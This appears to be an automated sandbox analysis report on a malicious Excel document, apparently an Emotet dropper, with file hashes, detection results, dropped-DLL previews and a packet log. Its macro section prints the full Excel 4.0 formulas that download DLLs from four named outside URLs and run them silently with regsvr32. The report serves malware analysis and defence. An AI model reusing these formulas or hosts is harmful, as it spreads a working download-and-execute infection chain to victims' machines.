SHA-256:	8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
SHA-512:	19864DF1260BF4DCCF22B84ACCB50D09C27D499582A2166F7B419B7FD5D16B2C31DF3E199009A449E38BAAAC853EDD8B3F60F0330176E316F032C645D6840090
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: RechnungsDetails.xls, Detection: malicious, Browse Filename: Rechnungskorrektur.xls, Detection: malicious, Browse Filename: Rechnung 2022.20.05_1440.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	376320
Entropy (8bit):	7.110062137113599
Encrypted:	false
SSDEEP:	6144:3LAmffHSqTgEIUvQbPR7PzWtM8aoAVXywf1Ey3B86v/MUxo1/BwNPAtZZr:7AmffHcjSO7lrfyyR8Gm1/Sex
MD5:	290B5A7C7EEDF92605DDA68B9F61D6BC
SHA1:	B409CA9851FECCA61E6CB0AAAA56FDAAFC7242F5
SHA-256:	38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056
SHA-512:	4A0161841098D1C51536B21C0AC40970231478F98FFE2966E8A4DC8D58856669AA25593EF446B3DDA2556366B92D1C4DD892768F210F9B1C8C6E256C9F2B008D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 62%
Joe Sandbox View:	Filename: RechnungsDetails.xls, Detection: malicious, Browse Filename: Rechnungskorrektur.xls, Detection: malicious, Browse Filename: Rechnung 2022.20.05_1440.xls, Detection: malicious, Browse
IE Cache URL:	http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S..................!................... ................................Rich...................PE..d.....b.........." .....`..........\|........................................ ............@.............................................r...$...P....p.......P..<....................................................................p.. ............................text...Z^.......`.................. ..`.rdata.......p.......d..............@..@.data....C..........................@....pdata..<....P......................@..@.rsrc........p......."..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cab3444.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\Tar3445.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DFA61A33ED8C15AF6F.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.4344832916567816
Encrypted:	false
SSDEEP:	768:ODRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+Vg9s1Xb:OVKpb8rGYrMPe3q7Q0XV5xtezE8vG8Uf
MD5:	FEB082659EDCEF8A2B3CDC150B38C817
SHA1:	B800D29AF62E6C1D6EBBEFBA7ABCB92FAB3B3826
SHA-256:	88835663ED10875B6C5BE1EE758F7E31BC9AB979A9B20F3E6E86F7DDE0969056
SHA-512:	8890D3EF3A02C39FD46C5283BA38AFE6B451EF6E1C394EDC162F76172521BCB0674ED67F934C626012DF4A65DFEFF2D73ADF87BC70CB5B6C422FCBCA2D0163F4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 08:38:10 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.453759157478616
Encrypted:	false
SSDEEP:	1536:gVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+u9s1a6YG2jzQ0viPvDNHhGtP:+Kpb8rGYrMPe3q7Q0XV5xtezE8vG8UMH
MD5:	10AB03CDF100D4A8260ADFC3470EE78A
SHA1:	9F932F9DCA148FB447A5350E153B1EEFB127A0D1
SHA-256:	5AE9C1B871DA9DE4BFFB05F9A904D8DF07336E68E884352BE113DF1DF89AB3B1
SHA-512:	87AAD2B2E78F350C5BA5BDC0CA2FC2DA64CC2577781746C8FA24BDA4729E8083EE1E1E2C886892EBF7B870A8FD67EE7418710A192B259213AE32C6BFC6369D3F
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158100775230176
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTM0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3T1RIvgMSS3AyUrhYu3j
MD5:	3E28EC446EC996E82C1330164271ACDD
SHA1:	61FD8CCDFFDC93C3FE10D926524701E926499B8E
SHA-256:	8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
SHA-512:	19864DF1260BF4DCCF22B84ACCB50D09C27D499582A2166F7B419B7FD5D16B2C31DF3E199009A449E38BAAAC853EDD8B3F60F0330176E316F032C645D6840090
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	376320
Entropy (8bit):	7.110062137113599
Encrypted:	false
SSDEEP:	6144:3LAmffHSqTgEIUvQbPR7PzWtM8aoAVXywf1Ey3B86v/MUxo1/BwNPAtZZr:7AmffHcjSO7lrfyyR8Gm1/Sex
MD5:	290B5A7C7EEDF92605DDA68B9F61D6BC
SHA1:	B409CA9851FECCA61E6CB0AAAA56FDAAFC7242F5
SHA-256:	38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056
SHA-512:	4A0161841098D1C51536B21C0AC40970231478F98FFE2966E8A4DC8D58856669AA25593EF446B3DDA2556366B92D1C4DD892768F210F9B1C8C6E256C9F2B008D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: C:\Users\user\uxevr2.ocx, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S..................!................... ................................Rich...................PE..d.....b.........." .....`..........\|........................................ ............@.............................................r...$...P....p.......P..<....................................................................p.. ............................text...Z^.......`.................. ..`.rdata.......p.......d..............@..@.data....C..........................@....pdata..<....P......................@..@.rsrc........p......."..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\uxevr4.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158103111942775
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTD0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TeRIvgMSS3AyUrhYu3j
MD5:	DC718A4E9DA03BBC0673313CD6D7715C
SHA1:	C500D8F78D3EFFA575F7AD020513B2CDD96653DC
SHA-256:	67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
SHA-512:	7053E6BCF2E6F8DDC51E4152993E86DFBA83E6DD0EE3476F77CD7DCB916ADAB611730DF1B5E936BE476C73DE5F2241BFF96CCE53697DE4693DBE943457785D0C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\FUVVPG\TGCY.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	376320
Entropy (8bit):	7.110062137113599
Encrypted:	false
SSDEEP:	6144:3LAmffHSqTgEIUvQbPR7PzWtM8aoAVXywf1Ey3B86v/MUxo1/BwNPAtZZr:7AmffHcjSO7lrfyyR8Gm1/Sex
MD5:	290B5A7C7EEDF92605DDA68B9F61D6BC
SHA1:	B409CA9851FECCA61E6CB0AAAA56FDAAFC7242F5
SHA-256:	38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056
SHA-512:	4A0161841098D1C51536B21C0AC40970231478F98FFE2966E8A4DC8D58856669AA25593EF446B3DDA2556366B92D1C4DD892768F210F9B1C8C6E256C9F2B008D
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S..................!................... ................................Rich...................PE..d.....b.........." .....`..........\|........................................ ............@.............................................r...$...P....p.......P..<....................................................................p.. ............................text...Z^.......`.................. ..`.rdata.......p.......d..............@..@.data....C..........................@....pdata..<....P......................@..@.rsrc........p......."..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Windows\System32\JQSPcFGJSVOMPtFX\ZXsHFctgkSbxp.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158100775230176
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTM0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3T1RIvgMSS3AyUrhYu3j
MD5:	3E28EC446EC996E82C1330164271ACDD
SHA1:	61FD8CCDFFDC93C3FE10D926524701E926499B8E
SHA-256:	8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
SHA-512:	19864DF1260BF4DCCF22B84ACCB50D09C27D499582A2166F7B419B7FD5D16B2C31DF3E199009A449E38BAAAC853EDD8B3F60F0330176E316F032C645D6840090
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\VrLOhrB\szFRUu.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158103111942775
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTD0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TeRIvgMSS3AyUrhYu3j
MD5:	DC718A4E9DA03BBC0673313CD6D7715C
SHA1:	C500D8F78D3EFFA575F7AD020513B2CDD96653DC
SHA-256:	67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
SHA-512:	7053E6BCF2E6F8DDC51E4152993E86DFBA83E6DD0EE3476F77CD7DCB916ADAB611730DF1B5E936BE476C73DE5F2241BFF96CCE53697DE4693DBE943457785D0C
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 08:38:10 2022, Security: 0
Entropy (8bit):	6.453032781387292
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls
File size:	69120
MD5:	8b2f1d8c5189b9a97624243d30d6ff36
SHA1:	c2dcb3ea640cae6e974dd32cf12af400ceac46f9
SHA256:	2f10704047062f616e82e6ab4000864a7cde802b5bdef760da79a9204771bcb2
SHA512:	6ec92cd72d8b358b282766b804d1596e668161bf410b9e7a6ec5671508d97dc67a639255d74f83b4d1d16a28af689c5c3fd5a517cd68540912a1f95f9bc24831
SSDEEP:	1536:nVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+u9s1a6YG2jzQ0viPvDNHhGtA:VKpb8rGYrMPe3q7Q0XV5xtezE8vG8UMI
TLSH:	53635A467A59C92CF914D33549D74BA97316FC318F6B0A833225F324AFFD8A09A0361B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Exploit.Siggen3.32567.15846.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-20 07:38:10
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.41031054861
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.281284383303
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58873

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58873
Entropy:	7.0959162425
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://masyuk.com/581voyze/MlX/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://masyuk.com/581voyze/MlX/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://masyuk.com/581voyze/MlX/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 11:38:27.348561049 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.348624945 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:27.348754883 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.358717918 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.358751059 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:27.543133974 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:27.543257952 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.560789108 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.560821056 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:27.561314106 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:27.561407089 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.884915113 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:27.928510904 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062159061 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062246084 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062261105 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.062278032 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062300920 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.062314987 CEST	443	49173	212.98.224.29	192.168.2.22
May 23, 2022 11:38:28.062334061 CEST	49173	443	192.168.2.22	212.98.224.29
May 23, 2022 11:38:28.062340021 CEST	443	49173	212.98.224.29	192.168.2.22
